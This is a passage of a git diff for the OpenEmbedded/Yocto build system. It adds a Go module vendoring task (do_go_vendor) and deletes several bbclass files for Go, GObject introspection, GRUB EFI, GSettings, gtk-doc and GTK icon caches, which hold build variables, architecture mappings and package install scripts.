+ linkname = os.path.join(source_dir, *['src', go_import, 'vendor'])
+
+ os.unlink(linkname)
+}
+
+addtask vendor_unlink before do_package after do_install
+
+python do_go_vendor() {
+ import shutil
+
+ src_uri = (d.getVar('SRC_URI') or "").split()
+
+ if not src_uri:
+ bb.fatal("SRC_URI is empty")
+
+ default_destsuffix = "git/src/import/vendor.fetch"
+ fetcher = bb.fetch2.Fetch(src_uri, d)
+ go_import = d.getVar('GO_IMPORT')
+ source_dir = d.getVar('S')
+
+ linkname = os.path.join(source_dir, *['src', go_import, 'vendor'])
+ vendor_dir = os.path.join(source_dir, *['src', 'import', 'vendor'])
+ import_dir = os.path.join(source_dir, *['src', 'import', 'vendor.fetch'])
+
+ if os.path.exists(vendor_dir):
+ # Nothing to do except re-establish link to actual vendor folder
+ if not os.path.exists(linkname):
+ os.symlink(vendor_dir, linkname)
+ return
+
+ bb.utils.mkdirhier(vendor_dir)
+
+ modules = {}
+
+ for url in fetcher.urls:
+ srcuri = fetcher.ud[url].host + fetcher.ud[url].path
+
+ # Skip non Go module src uris
+ if not fetcher.ud[url].parm.get('is_go_dependency'):
+ continue
+
+ destsuffix = fetcher.ud[url].parm.get('destsuffix')
+ # We derive the module repo / version in the following manner (exmaple):
+ #
+ # destsuffix = git/src/import/vendor.fetch/github.com/foo/bar@v1.2.3
+ # p = github.com/foo/bar@v1.2.3
+ # repo = github.com/foo/bar
+ # version = v1.2.3
+
+ p = destsuffix[len(default_destsuffix)+1:]
+ repo, version = p.split('@')
+
+ module_path = fetcher.ud[url].parm.get('go_module_path')
+
+ subdir = fetcher.ud[url].parm.get('go_subdir')
+ subdir = None if not subdir else subdir
+
+ pathMajor = fetcher.ud[url].parm.get('go_pathmajor')
+ pathMajor = None if not pathMajor else pathMajor.strip('/')
+
+ if not (repo, version) in modules:
+ modules[(repo, version)] = {
+ "repo_path": os.path.join(import_dir, p),
+ "module_path": module_path,
+ "subdir": subdir,
+ "pathMajor": pathMajor }
+
+ for module_key, module in modules.items():
+
+ # only take the version which is explicitly listed
+ # as a dependency in the go.mod
+ module_path = module['module_path']
+ rootdir = module['repo_path']
+ subdir = module['subdir']
+ pathMajor = module['pathMajor']
+
+ src = rootdir
+
+ if subdir:
+ src = os.path.join(rootdir, subdir)
+
+ # If the module is released at major version 2 or higher, the module
+ # path must end with a major version suffix like /v2.
+ # This may or may not be part of the subdirectory name
+ #
+ # https://go.dev/ref/mod#modules-overview
+ if pathMajor:
+ tmp = os.path.join(src, pathMajor)
+ # source directory including major version path may or may not exist
+ if os.path.exists(tmp):
+ src = tmp
+
+ dst = os.path.join(vendor_dir, module_path)
+
+ bb.debug(1, "cp %s --> %s" % (src, dst))
+ shutil.copytree(src, dst, symlinks=True, dirs_exist_ok=True, \
+ ignore=shutil.ignore_patterns(".git", \
+ "vendor", \
+ "*._test.go"))
+
+ # If the root directory has a LICENSE file but not the subdir
+ # we copy the root license to the sub module since the license
+ # applies to all modules in the repository
+ # see https://go.dev/ref/mod#vcs-license
+ if subdir:
+ rootdirLicese = os.path.join(rootdir, "LICENSE")
+ subdirLicense = os.path.join(src, "LICENSE")
+
+ if not os.path.exists(subdir) and \
+ os.path.exists(rootdirLicese):
+ shutil.copy2(rootdirLicese, subdirLicense)
+
+ # Copy vendor manifest
+ modules_txt_src = os.path.join(d.getVar('WORKDIR'), "modules.txt")
+ bb.debug(1, "cp %s --> %s" % (modules_txt_src, vendor_dir))
+ shutil.copy2(modules_txt_src, vendor_dir)
+
+ # Clean up vendor dir
+ # We only require the modules in the modules_txt file
+ fetched_paths = set([os.path.relpath(x[0], vendor_dir) for x in os.walk(vendor_dir)])
+
+ # Remove toplevel dir
+ fetched_paths.remove('.')
+
+ vendored_paths = set()
+ replaced_paths = dict()
+ with open(modules_txt_src) as f:
+ for line in f:
+ if not line.startswith("#"):
+ line = line.strip()
+ vendored_paths.add(line)
+
+ # Add toplevel dirs into vendored dir, as we want to keep them
+ topdir = os.path.dirname(line)
+ while len(topdir):
+ if not topdir in vendored_paths:
+ vendored_paths.add(topdir)
+
+ topdir = os.path.dirname(topdir)
+ else:
+ replaced_module = line.split("=>")
+ if len(replaced_module) > 1:
+ # This module has been replaced, use a local path
+ # we parse the line that has a pattern "# module-name [module-version] => local-path
+ actual_path = replaced_module[1].strip()
+ vendored_name = replaced_module[0].split()[1]
+ bb.debug(1, "added vendored name %s for actual path %s" % (vendored_name, actual_path))
+ replaced_paths[vendored_name] = actual_path
+
+ for path in fetched_paths:
+ if path not in vendored_paths:
+ realpath = os.path.join(vendor_dir, path)
+ if os.path.exists(realpath):
+ shutil.rmtree(realpath)
+
+ for vendored_name, replaced_path in replaced_paths.items():
+ symlink_target = os.path.join(source_dir, *['src', go_import, replaced_path])
+ symlink_name = os.path.join(vendor_dir, vendored_name)
+ bb.debug(1, "vendored name %s, symlink name %s" % (vendored_name, symlink_name))
+ os.symlink(symlink_target, symlink_name)
+
+ # Create a symlink to the actual directory
+ os.symlink(vendor_dir, linkname)
+}
+
+addtask go_vendor before do_patch after do_unpack
diff --git a/meta/classes/go.bbclass b/meta/classes/go.bbclass
deleted file mode 100644
index a9e31b50ea..0000000000
--- a/meta/classes/go.bbclass
+++ /dev/null
@@ -1,155 +0,0 @@
-inherit goarch
-
-GO_PARALLEL_BUILD ?= "${@oe.utils.parallel_make_argument(d, '-p %d')}"
-
-GOROOT_class-native = "${STAGING_LIBDIR_NATIVE}/go"
-GOROOT_class-nativesdk = "${STAGING_DIR_TARGET}${libdir}/go"
-GOROOT = "${STAGING_LIBDIR}/go"
-export GOROOT
-export GOROOT_FINAL = "${libdir}/go"
-export GOCACHE = "${B}/.cache"
-
-export GOARCH = "${TARGET_GOARCH}"
-export GOOS = "${TARGET_GOOS}"
-export GOHOSTARCH="${BUILD_GOARCH}"
-export GOHOSTOS="${BUILD_GOOS}"
-
-GOARM[export] = "0"
-GOARM_arm_class-target = "${TARGET_GOARM}"
-GOARM_arm_class-target[export] = "1"
-
-GO386[export] = "0"
-GO386_x86_class-target = "${TARGET_GO386}"
-GO386_x86_class-target[export] = "1"
-
-GOMIPS[export] = "0"
-GOMIPS_mips_class-target = "${TARGET_GOMIPS}"
-GOMIPS_mips_class-target[export] = "1"
-
-DEPENDS_GOLANG_class-target = "virtual/${TUNE_PKGARCH}-go virtual/${TARGET_PREFIX}go-runtime"
-DEPENDS_GOLANG_class-native = "go-native"
-DEPENDS_GOLANG_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk virtual/${TARGET_PREFIX}go-runtime"
-
-DEPENDS_append = " ${DEPENDS_GOLANG}"
-
-GO_LINKSHARED ?= "${@'-linkshared' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH_LINK = "${@'-Wl,-rpath-link=${STAGING_DIR_TARGET}${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH = "${@'-r ${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH_class-native = "${@'-r ${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_RPATH_LINK_class-native = "${@'-Wl,-rpath-link=${STAGING_LIBDIR_NATIVE}/go/pkg/${TARGET_GOTUPLE}_dynlink' if d.getVar('GO_DYNLINK') else ''}"
-GO_EXTLDFLAGS ?= "${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS} ${GO_RPATH_LINK} ${LDFLAGS}"
-GO_LINKMODE ?= ""
-GO_LINKMODE_class-nativesdk = "--linkmode=external"
-GO_LDFLAGS ?= '-ldflags="${GO_RPATH} ${GO_LINKMODE} -extldflags '${GO_EXTLDFLAGS}'"'
-export GOBUILDFLAGS ?= "-v ${GO_LDFLAGS} -trimpath"
-export GOPATH_OMIT_IN_ACTIONID ?= "1"
-export GOPTESTBUILDFLAGS ?= "${GOBUILDFLAGS} -c"
-export GOPTESTFLAGS ?= ""
-GOBUILDFLAGS_prepend_task-compile = "${GO_PARALLEL_BUILD} "
-
-export GO = "${HOST_PREFIX}go"
-GOTOOLDIR = "${STAGING_LIBDIR_NATIVE}/${TARGET_SYS}/go/pkg/tool/${BUILD_GOTUPLE}"
-GOTOOLDIR_class-native = "${STAGING_LIBDIR_NATIVE}/go/pkg/tool/${BUILD_GOTUPLE}"
-export GOTOOLDIR
-
-export CGO_ENABLED ?= "1"
-export CGO_ENABLED_riscv64 = "0"
-export CGO_CFLAGS ?= "${CFLAGS}"
-export CGO_CPPFLAGS ?= "${CPPFLAGS}"
-export CGO_CXXFLAGS ?= "${CXXFLAGS}"
-export CGO_LDFLAGS ?= "${LDFLAGS}"
-
-GO_INSTALL ?= "${GO_IMPORT}/..."
-GO_INSTALL_FILTEROUT ?= "${GO_IMPORT}/vendor/"
-
-B = "${WORKDIR}/build"
-export GOPATH = "${B}"
-export GOTMPDIR ?= "${WORKDIR}/go-tmp"
-GOTMPDIR[vardepvalue] = ""
-
-python go_do_unpack() {
- src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
- return
-
- fetcher = bb.fetch2.Fetch(src_uri, d)
- for url in fetcher.urls:
- if fetcher.ud[url].type == 'git':
- if fetcher.ud[url].parm.get('destsuffix') is None:
- s_dirname = os.path.basename(d.getVar('S'))
- fetcher.ud[url].parm['destsuffix'] = os.path.join(s_dirname, 'src', d.getVar('GO_IMPORT')) + '/'
- fetcher.unpack(d.getVar('WORKDIR'))
-}
-
-go_list_packages() {
- ${GO} list -f '{{.ImportPath}}' ${GOBUILDFLAGS} ${GO_INSTALL} | \
- egrep -v '${GO_INSTALL_FILTEROUT}'
-}
-
-go_list_package_tests() {
- ${GO} list -f '{{.ImportPath}} {{.TestGoFiles}}' ${GOBUILDFLAGS} ${GO_INSTALL} | \
- grep -v '\[\]$' | \
- egrep -v '${GO_INSTALL_FILTEROUT}' | \
- awk '{ print $1 }'
-}
-
-go_do_configure() {
- ln -snf ${S}/src ${B}/
-}
-do_configure[dirs] =+ "${GOTMPDIR}"
-
-go_do_compile() {
- export TMPDIR="${GOTMPDIR}"
- if [ -n "${GO_INSTALL}" ]; then
- if [ -n "${GO_LINKSHARED}" ]; then
- ${GO} install ${GOBUILDFLAGS} `go_list_packages`
- rm -rf ${B}/bin
- fi
- ${GO} install ${GO_LINKSHARED} ${GOBUILDFLAGS} `go_list_packages`
- fi
-}
-do_compile[dirs] =+ "${GOTMPDIR}"
-do_compile[cleandirs] = "${B}/bin ${B}/pkg"
-
-go_do_install() {
- install -d ${D}${libdir}/go/src/${GO_IMPORT}
- tar -C ${S}/src/${GO_IMPORT} -cf - --exclude-vcs --exclude '*.test' --exclude 'testdata' . | \
- tar -C ${D}${libdir}/go/src/${GO_IMPORT} --no-same-owner -xf -
- tar -C ${B} -cf - --exclude-vcs pkg | tar -C ${D}${libdir}/go --no-same-owner -xf -
-
- if [ -n "`ls ${B}/${GO_BUILD_BINDIR}/`" ]; then
- install -d ${D}${bindir}
- install -m 0755 ${B}/${GO_BUILD_BINDIR}/* ${D}${bindir}/
- fi
-}
-
-go_stage_testdata() {
- oldwd="$PWD"
- cd ${S}/src
- find ${GO_IMPORT} -depth -type d -name testdata | while read d; do
- if echo "$d" | grep -q '/vendor/'; then
- continue
- fi
- parent=`dirname $d`
- install -d ${D}${PTEST_PATH}/$parent
- cp --preserve=mode,timestamps -R $d ${D}${PTEST_PATH}/$parent/
- done
- cd "$oldwd"
-}
-
-EXPORT_FUNCTIONS do_unpack do_configure do_compile do_install
-
-FILES_${PN}-dev = "${libdir}/go/src"
-FILES_${PN}-staticdev = "${libdir}/go/pkg"
-
-INSANE_SKIP_${PN} += "ldflags"
-
-# Add -buildmode=pie to GOBUILDFLAGS to satisfy "textrel" QA checking, but mips
-# doesn't support -buildmode=pie, so skip the QA checking for mips and its
-# variants.
-python() {
- if 'mips' in d.getVar('TARGET_ARCH') or 'riscv' in d.getVar('TARGET_ARCH'):
- d.appendVar('INSANE_SKIP_%s' % d.getVar('PN'), " textrel")
- else:
- d.appendVar('GOBUILDFLAGS', ' -buildmode=pie')
-}
diff --git a/meta/classes/goarch.bbclass b/meta/classes/goarch.bbclass
deleted file mode 100644
index 1099b95769..0000000000
--- a/meta/classes/goarch.bbclass
+++ /dev/null
@@ -1,119 +0,0 @@
-BUILD_GOOS = "${@go_map_os(d.getVar('BUILD_OS'), d)}"
-BUILD_GOARCH = "${@go_map_arch(d.getVar('BUILD_ARCH'), d)}"
-BUILD_GOTUPLE = "${BUILD_GOOS}_${BUILD_GOARCH}"
-HOST_GOOS = "${@go_map_os(d.getVar('HOST_OS'), d)}"
-HOST_GOARCH = "${@go_map_arch(d.getVar('HOST_ARCH'), d)}"
-HOST_GOARM = "${@go_map_arm(d.getVar('HOST_ARCH'), d)}"
-HOST_GO386 = "${@go_map_386(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
-HOST_GOMIPS = "${@go_map_mips(d.getVar('HOST_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
-HOST_GOARM_class-native = "7"
-HOST_GO386_class-native = "sse2"
-HOST_GOMIPS_class-native = "hardfloat"
-HOST_GOTUPLE = "${HOST_GOOS}_${HOST_GOARCH}"
-TARGET_GOOS = "${@go_map_os(d.getVar('TARGET_OS'), d)}"
-TARGET_GOARCH = "${@go_map_arch(d.getVar('TARGET_ARCH'), d)}"
-TARGET_GOARM = "${@go_map_arm(d.getVar('TARGET_ARCH'), d)}"
-TARGET_GO386 = "${@go_map_386(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
-TARGET_GOMIPS = "${@go_map_mips(d.getVar('TARGET_ARCH'), d.getVar('TUNE_FEATURES'), d)}"
-TARGET_GOARM_class-native = "7"
-TARGET_GO386_class-native = "sse2"
-TARGET_GOMIPS_class-native = "hardfloat"
-TARGET_GOTUPLE = "${TARGET_GOOS}_${TARGET_GOARCH}"
-GO_BUILD_BINDIR = "${@['bin/${HOST_GOTUPLE}','bin'][d.getVar('BUILD_GOTUPLE') == d.getVar('HOST_GOTUPLE')]}"
-
-# Use the MACHINEOVERRIDES to map ARM CPU architecture passed to GO via GOARM.
-# This is combined with *_ARCH to set HOST_GOARM and TARGET_GOARM.
-BASE_GOARM = ''
-BASE_GOARM_armv7ve = '7'
-BASE_GOARM_armv7a = '7'
-BASE_GOARM_armv6 = '6'
-BASE_GOARM_armv5 = '5'
-
-# Go supports dynamic linking on a limited set of architectures.
-# See the supportsDynlink function in go/src/cmd/compile/internal/gc/main.go
-GO_DYNLINK = ""
-GO_DYNLINK_arm = "1"
-GO_DYNLINK_aarch64 = "1"
-GO_DYNLINK_x86 = "1"
-GO_DYNLINK_x86-64 = "1"
-GO_DYNLINK_powerpc64 = "1"
-GO_DYNLINK_powerpc64le = "1"
-GO_DYNLINK_class-native = ""
-GO_DYNLINK_class-nativesdk = ""
-
-# define here because everybody inherits this class
-#
-COMPATIBLE_HOST_linux-gnux32 = "null"
-COMPATIBLE_HOST_linux-muslx32 = "null"
-COMPATIBLE_HOST_powerpc = "null"
-COMPATIBLE_HOST_powerpc64 = "null"
-COMPATIBLE_HOST_powerpc64le = "null"
-COMPATIBLE_HOST_mipsarchn32 = "null"
-
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-TUNE_CCARGS_remove = "-march=mips32r2"
-SECURITY_NOPIE_CFLAGS ??= ""
-
-# go can't be built with ccache:
-# gcc: fatal error: no input files
-CCACHE_DISABLE ?= "1"
-
-def go_map_arch(a, d):
- import re
- if re.match('i.86', a):
- return '386'
- elif a == 'x86_64':
- return 'amd64'
- elif re.match('arm.*', a):
- return 'arm'
- elif re.match('aarch64.*', a):
- return 'arm64'
- elif re.match('mips64el.*', a):
- return 'mips64le'
- elif re.match('mips64.*', a):
- return 'mips64'
- elif a == 'mips':
- return 'mips'
- elif a == 'mipsel':
- return 'mipsle'
- elif re.match('p(pc|owerpc)(64)', a):
- return 'ppc64'
- elif re.match('p(pc|owerpc)(64el)', a):
- return 'ppc64le'
- elif a == 'riscv64':
- return 'riscv64'
- else:
- raise bb.parse.SkipRecipe("Unsupported CPU architecture: %s" % a)
-
-def go_map_arm(a, d):
- if a.startswith("arm"):
- return d.getVar('BASE_GOARM')
- return ''
-
-def go_map_386(a, f, d):
- import re
- if re.match('i.86', a):
- if ('core2' in f) or ('corei7' in f):
- return 'sse2'
- else:
- return '387'
- return ''
-
-def go_map_mips(a, f, d):
- import re
- if a == 'mips' or a == 'mipsel':
- if 'fpu-hard' in f:
- return 'hardfloat'
- else:
- return 'softfloat'
- return ''
-
-def go_map_os(o, d):
- if o.startswith('linux'):
- return 'linux'
- return o
-
-
diff --git a/meta/classes/gobject-introspection.bbclass b/meta/classes/gobject-introspection.bbclass
deleted file mode 100644
index 504f75e28d..0000000000
--- a/meta/classes/gobject-introspection.bbclass
+++ /dev/null
@@ -1,53 +0,0 @@
-# Inherit this class in recipes to enable building their introspection files
-
-# python3native is inherited to prevent introspection tools being run with
-# host's python 3 (they need to be run with native python 3)
-#
-# This also sets up autoconf-based recipes to build introspection data (or not),
-# depending on distro and machine features (see gobject-introspection-data class).
-inherit python3native gobject-introspection-data
-
-# meson: default option name to enable/disable introspection. This matches most
-# project's configuration. In doubts - check meson_options.txt in project's
-# source path.
-GIR_MESON_OPTION ?= 'introspection'
-GIR_MESON_ENABLE_FLAG ?= 'true'
-GIR_MESON_DISABLE_FLAG ?= 'false'
-
-# Auto enable/disable based on GI_DATA_ENABLED
-EXTRA_OECONF_prepend_class-target = "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '--enable-introspection', '--disable-introspection', d)} "
-EXTRA_OEMESON_prepend_class-target = "-D${GIR_MESON_OPTION}=${@bb.utils.contains('GI_DATA_ENABLED', 'True', '${GIR_MESON_ENABLE_FLAG}', '${GIR_MESON_DISABLE_FLAG}', d)} "
-
-# When building native recipes, disable introspection, as it is not necessary,
-# pulls in additional dependencies, and makes build times longer
-EXTRA_OECONF_prepend_class-native = "--disable-introspection "
-EXTRA_OECONF_prepend_class-nativesdk = "--disable-introspection "
-EXTRA_OEMESON_prepend_class-native = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
-EXTRA_OEMESON_prepend_class-nativesdk = "-D${GIR_MESON_OPTION}=${GIR_MESON_DISABLE_FLAG} "
-
-# Generating introspection data depends on a combination of native and target
-# introspection tools, and qemu to run the target tools.
-DEPENDS_append_class-target = " gobject-introspection gobject-introspection-native qemu-native prelink-native"
-
-# Even though introspection is disabled on -native, gobject-introspection package is still
-# needed for m4 macros.
-DEPENDS_append_class-native = " gobject-introspection-native"
-DEPENDS_append_class-nativesdk = " gobject-introspection-native"
-
-# This is used by introspection tools to find .gir includes
-export XDG_DATA_DIRS = "${STAGING_DATADIR}:${STAGING_LIBDIR}"
-
-do_configure_prepend_class-target () {
- # introspection.m4 pre-packaged with upstream tarballs does not yet
- # have our fixes
- mkdir -p ${S}/m4
- cp ${STAGING_DIR_TARGET}/${datadir}/aclocal/introspection.m4 ${S}/m4
-}
-
-# .typelib files are needed at runtime and so they go to the main package (so
-# they'll be together with libraries they support).
-FILES_${PN}_append = " ${libdir}/girepository-*/*.typelib"
-
-# .gir files go to dev package, as they're needed for developing (but not for
-# running) things that depends on introspection.
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
diff --git a/meta/classes/godep.bbclass b/meta/classes/godep.bbclass
deleted file mode 100644
index c82401c313..0000000000
--- a/meta/classes/godep.bbclass
+++ /dev/null
@@ -1,8 +0,0 @@
-DEPENDS_append = " go-dep-native"
-
-do_compile_prepend() {
- rm -f ${WORKDIR}/build/src/${GO_IMPORT}/Gopkg.toml
- rm -f ${WORKDIR}/build/src/${GO_IMPORT}/Gopkg.lock
- ( cd ${WORKDIR}/build/src/${GO_IMPORT} && dep init && dep ensure )
-}
-
diff --git a/meta/classes/grub-efi.bbclass b/meta/classes/grub-efi.bbclass
deleted file mode 100644
index 8fc6999e52..0000000000
--- a/meta/classes/grub-efi.bbclass
+++ /dev/null
@@ -1,8 +0,0 @@
-inherit grub-efi-cfg
-require conf/image-uefi.conf
-
-efi_populate() {
- efi_populate_common "$1" grub-efi
-
- install -m 0644 ${GRUB_CFG} ${DEST}${EFIDIR}/grub.cfg
-}
diff --git a/meta/classes/gsettings.bbclass b/meta/classes/gsettings.bbclass
deleted file mode 100644
index 33afc96a9c..0000000000
--- a/meta/classes/gsettings.bbclass
+++ /dev/null
@@ -1,42 +0,0 @@
-# A bbclass to handle installed GSettings (glib) schemas, updated the compiled
-# form on package install and remove.
-#
-# The compiled schemas are platform-agnostic, so we can depend on
-# glib-2.0-native for the native tool and run the postinst script when the
-# rootfs builds to save a little time on first boot.
-
-# TODO use a trigger so that this runs once per package operation run
-
-GSETTINGS_PACKAGE ?= "${PN}"
-
-python __anonymous() {
- pkg = d.getVar("GSETTINGS_PACKAGE")
- if pkg:
- d.appendVar("PACKAGE_WRITE_DEPS", " glib-2.0-native")
- d.appendVar("RDEPENDS_" + pkg, " ${MLPREFIX}glib-2.0-utils")
- d.appendVar("FILES_" + pkg, " ${datadir}/glib-2.0/schemas")
-}
-
-gsettings_postinstrm () {
- glib-compile-schemas $D${datadir}/glib-2.0/schemas
-}
-
-python populate_packages_append () {
- pkg = d.getVar('GSETTINGS_PACKAGE')
- if pkg:
- bb.note("adding gsettings postinst scripts to %s" % pkg)
-
- postinst = d.getVar('pkg_postinst_%s' % pkg) or d.getVar('pkg_postinst')
- if not postinst:
- postinst = '#!/bin/sh\n'
- postinst += d.getVar('gsettings_postinstrm')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
-
- bb.note("adding gsettings postrm scripts to %s" % pkg)
-
- postrm = d.getVar('pkg_postrm_%s' % pkg) or d.getVar('pkg_postrm')
- if not postrm:
- postrm = '#!/bin/sh\n'
- postrm += d.getVar('gsettings_postinstrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
-}
diff --git a/meta/classes/gtk-doc.bbclass b/meta/classes/gtk-doc.bbclass
deleted file mode 100644
index 7dd662bf86..0000000000
--- a/meta/classes/gtk-doc.bbclass
+++ /dev/null
@@ -1,82 +0,0 @@
-# Helper class to pull in the right gtk-doc dependencies and configure
-# gtk-doc to enable or disable documentation building (which requries the
-# use of usermode qemu).
-
-# This variable is set to True if api-documentation is in
-# DISTRO_FEATURES and qemu-usermode is in MACHINE_FEATURES, and False otherwise.
-#
-# It should be used in recipes to determine whether gtk-doc based documentation should be built,
-# so that qemu use can be avoided when necessary.
-GTKDOC_ENABLED ?= "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', \
- bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d), 'False', d)}"
-
-# meson: default option name to enable/disable gtk-doc. This matches most
-# project's configuration. In doubts - check meson_options.txt in project's
-# source path.
-GTKDOC_MESON_OPTION ?= 'docs'
-GTKDOC_MESON_ENABLE_FLAG ?= 'true'
-GTKDOC_MESON_DISABLE_FLAG ?= 'false'
-
-# Auto enable/disable based on GTKDOC_ENABLED
-EXTRA_OECONF_prepend_class-target = "${@bb.utils.contains('GTKDOC_ENABLED', 'True', '--enable-gtk-doc --enable-gtk-doc-html --disable-gtk-doc-pdf', \
- '--disable-gtk-doc', d)} "
-EXTRA_OEMESON_prepend_class-target = "-D${GTKDOC_MESON_OPTION}=${@bb.utils.contains('GTKDOC_ENABLED', 'True', '${GTKDOC_MESON_ENABLE_FLAG}', '${GTKDOC_MESON_DISABLE_FLAG}', d)} "
-
-# When building native recipes, disable gtkdoc, as it is not necessary,
-# pulls in additional dependencies, and makes build times longer
-EXTRA_OECONF_prepend_class-native = "--disable-gtk-doc "
-EXTRA_OECONF_prepend_class-nativesdk = "--disable-gtk-doc "
-EXTRA_OEMESON_prepend_class-native = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
-EXTRA_OEMESON_prepend_class-nativesdk = "-D${GTKDOC_MESON_OPTION}=${GTKDOC_MESON_DISABLE_FLAG} "
-
-# Even though gtkdoc is disabled on -native, gtk-doc package is still
-# needed for m4 macros.
-DEPENDS_append = " gtk-doc-native"
-
-# The documentation directory, where the infrastructure will be copied.
-# gtkdocize has a default of "." so to handle out-of-tree builds set this to $S.
-GTKDOC_DOCDIR ?= "${S}"
-
-export STAGING_DIR_HOST
-
-inherit python3native pkgconfig qemu
-DEPENDS_append = "${@' qemu-native' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
-
-do_configure_prepend () {
- # Need to use ||true as this is only needed if configure.ac both exists
- # and uses GTK_DOC_CHECK.
- gtkdocize --srcdir ${S} --docdir ${GTKDOC_DOCDIR} || true
-}
-
-do_compile_prepend_class-target () {
- if [ ${GTKDOC_ENABLED} = True ]; then
- # Write out a qemu wrapper that will be given to gtkdoc-scangobj so that it
- # can run target helper binaries through that.
- qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
- cat > ${B}/gtkdoc-qemuwrapper << EOF
-#!/bin/sh
-# Use a modules directory which doesn't exist so we don't load random things
-# which may then get deleted (or their dependencies) and potentially segfault
-export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
-
-GIR_EXTRA_LIBS_PATH=\`find ${B} -name *.so -printf "%h\n"|sort|uniq| tr '\n' ':'\`\$GIR_EXTRA_LIBS_PATH
-GIR_EXTRA_LIBS_PATH=\`find ${B} -name .libs| tr '\n' ':'\`\$GIR_EXTRA_LIBS_PATH
-
-# meson sets this wrongly (only to libs in build-dir), qemu-wrapper_cmdline() and GIR_EXTRA_LIBS_PATH take care of it properly
-unset LD_LIBRARY_PATH
-
-if [ -d ".libs" ]; then
- $qemu_binary ".libs/\$@"
-else
- $qemu_binary "\$@"
-fi
-
-if [ \$? -ne 0 ]; then
- echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
- echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
- exit 1
-fi
-EOF
- chmod +x ${B}/gtkdoc-qemuwrapper
- fi
-}
diff --git a/meta/classes/gtk-icon-cache.bbclass b/meta/classes/gtk-icon-cache.bbclass
deleted file mode 100644
index 340a283851..0000000000
--- a/meta/classes/gtk-icon-cache.bbclass
+++ /dev/null
@@ -1,84 +0,0 @@
-FILES_${PN} += "${datadir}/icons/hicolor"
-
-#gtk+3 reqiure GTK3DISTROFEATURES, DEPENDS on it make all the
-#recipes inherit this class require GTK3DISTROFEATURES
-inherit features_check
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-DEPENDS +=" ${@['hicolor-icon-theme', '']['${BPN}' == 'hicolor-icon-theme']} \
- ${@['gdk-pixbuf', '']['${BPN}' == 'gdk-pixbuf']} \
- ${@['gtk+3', '']['${BPN}' == 'gtk+3']} \
- gtk+3-native \
-"
-
-PACKAGE_WRITE_DEPS += "gtk+3-native gdk-pixbuf-native"
-
-gtk_icon_cache_postinst() {
-if [ "x$D" != "x" ]; then
- $INTERCEPT_DIR/postinst_intercept update_gtk_icon_cache ${PKG} \
- mlprefix=${MLPREFIX} \
- libdir_native=${libdir_native}
-else
-
- # Update the pixbuf loaders in case they haven't been registered yet
- ${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders --update-cache
-
- for icondir in /usr/share/icons/* ; do
- if [ -d $icondir ] ; then
- gtk-update-icon-cache -fqt $icondir
- fi
- done
-fi
-}
-
-gtk_icon_cache_postrm() {
-if [ "x$D" != "x" ]; then
- $INTERCEPT_DIR/postinst_intercept update_gtk_icon_cache ${PKG} \
- mlprefix=${MLPREFIX} \
- libdir=${libdir}
-else
- for icondir in /usr/share/icons/* ; do
- if [ -d $icondir ] ; then
- gtk-update-icon-cache -qt $icondir
- fi
- done
-fi
-}
-
-python populate_packages_append () {
- packages = d.getVar('PACKAGES').split()
- pkgdest = d.getVar('PKGDEST')
-
- for pkg in packages:
- icon_dir = '%s/%s/%s/icons' % (pkgdest, pkg, d.getVar('datadir'))
- if not os.path.exists(icon_dir):
- continue
-
- bb.note("adding hicolor-icon-theme dependency to %s" % pkg)
- rdepends = ' ' + d.getVar('MLPREFIX', False) + "hicolor-icon-theme"
- d.appendVar('RDEPENDS_%s' % pkg, rdepends)
-
- #gtk_icon_cache_postinst depend on gdk-pixbuf and gtk+3
- bb.note("adding gdk-pixbuf dependency to %s" % pkg)
- rdepends = ' ' + d.getVar('MLPREFIX', False) + "gdk-pixbuf"
- d.appendVar('RDEPENDS_%s' % pkg, rdepends)
-
- bb.note("adding gtk+3 dependency to %s" % pkg)
- rdepends = ' ' + d.getVar('MLPREFIX', False) + "gtk+3"
- d.appendVar('RDEPENDS_%s' % pkg, rdepends)
-
- bb.note("adding gtk-icon-cache postinst and postrm scripts to %s" % pkg)
-
- postinst = d.getVar('pkg_postinst_%s' % pkg)
- if not postinst:
- postinst = '#!/bin/sh\n'
- postinst += d.getVar('gtk_icon_cache_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
-
- postrm = d.getVar('pkg_postrm_%s' % pkg)
- if not postrm:
- postrm = '#!/bin/sh\n'
- postrm += d.getVar('gtk_icon_cache_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
-}
-
